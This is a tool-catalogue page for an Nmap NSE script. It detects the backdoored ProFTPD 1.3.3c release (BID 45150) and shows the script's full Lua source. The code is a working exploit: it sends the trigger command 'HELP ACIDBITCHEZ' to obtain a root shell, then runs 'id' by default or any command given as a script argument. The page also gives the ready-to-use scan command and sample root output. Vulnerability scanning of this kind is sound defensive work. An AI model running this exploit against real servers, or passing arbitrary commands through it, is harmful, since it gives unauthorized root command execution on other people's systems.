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Official intrusive Exploit

ftp-proftpd-backdoor

Tests for the presence of the ProFTPD 1.3.3c backdoor reported as BID 45150. This script attempts to exploit the backdoor using the innocuous id command by default, but that can be changed with the ftp-proftpd-backdoor.cmd script argument.

Ports

Any

Protocols

n/a

Attribution

Nmap Project

Usage

Copy the command and adjust the target or script arguments as needed.

nmap --script ftp-proftpd-backdoor -p 21 <host>
Script Source Toggle

The full script source is stored with this entry and is hidden by default to keep the page easier to scan.

local ftp = require "ftp"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"

-- -*- mode: lua -*-
-- vim: set filetype=lua :

description = [[
Tests for the presence of the ProFTPD 1.3.3c backdoor reported as BID
45150. This script attempts to exploit the backdoor using the innocuous
<code>id</code> command by default, but that can be changed with the
<code>ftp-proftpd-backdoor.cmd</code> script argument.
]]

---
-- @usage
-- nmap --script ftp-proftpd-backdoor -p 21 <host>
--
-- @args ftp-proftpd-backdoor.cmd Command to execute in shell (default is
--       <code>id</code>).
--
-- @output
-- PORT   STATE SERVICE
-- 21/tcp open  ftp
-- | ftp-proftpd-backdoor:
-- |   This installation has been backdoored.
-- |   Command: id
-- |   Results: uid=0(root) gid=0(wheel) groups=0(wheel)
-- |_

author = "Mak Kolybabi"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"exploit", "intrusive", "malware", "vuln"}


local CMD_FTP = "HELP ACIDBITCHEZ"
local CMD_SHELL = "id"

portrule = function (host, port)
  -- Check if version detection knows what FTP server this is.
  if port.version.product ~= nil and port.version.product ~= "ProFTPD" then
    return false
  end

  -- Check if version detection knows what version of FTP server this is.
  if port.version.version ~= nil and port.version.version ~= "1.3.3c" then
    return false
  end

  return shortport.port_or_service(21, "ftp")(host, port)
end

action = function(host, port)
  local cmd, err, line, req, resp, results, sock, status

  -- Get script arguments.
  cmd = stdnse.get_script_args("ftp-proftpd-backdoor.cmd")
  if not cmd then
    cmd = CMD_SHELL
  end

  -- Create socket.
  sock = nmap.new_socket("tcp")
  sock:set_timeout(5000)
  status, err = sock:connect(host, port, "tcp")
  if not status then
    stdnse.debug1("Can't connect: %s", err)
    sock:close()
    return
  end

  -- Read banner.
  local buffer = stdnse.make_buffer(sock, "\r?\n")
  local code, message = ftp.read_reply(buffer)
  if not code then
    stdnse.debug1("Can't read banner: %s", message)
    sock:close()
    return
  end

  -- Check version.
  if not message:match("ProFTPD 1.3.3c") then
    stdnse.debug1("This version is not known to be backdoored.")
    return
  end

  -- Send command to escalate privilege.
  status, err = sock:send(CMD_FTP .. "\r\n")
  if not status then
    stdnse.debug1("Failed to send privilege escalation command: %s", err)
    sock:close()
    return
  end

  -- Check if escalation worked.
  code, message = ftp.read_reply(buffer)
  if code and code == 502 then
    stdnse.debug1("Privilege escalation failed: %s", message)
    sock:close()
    return
  end

  -- Send command(s) to shell.
  status, err = sock:send(cmd .. ";\r\n")
  if not status then
    stdnse.debug1("Failed to send shell command(s): %s", err)
    sock:close()
    return
  end

  -- Check for an error from command.
  status, resp = sock:receive()
  if not status then
    stdnse.debug1("Can't read command response: %s", resp)
    sock:close()
    return
  end

  -- Summarize the results.
  results = {
    "This installation has been backdoored.",
    "Command: " .. CMD_SHELL,
    "Results: " .. resp
  }

  return stdnse.format_output(true, results)
end

Overview

Tests for the presence of the ProFTPD 1.3.3c backdoor reported as BID 45150. This script attempts to exploit the backdoor using the innocuous id command by default, but that can be changed with the ftp-proftpd-backdoor.cmd script argument.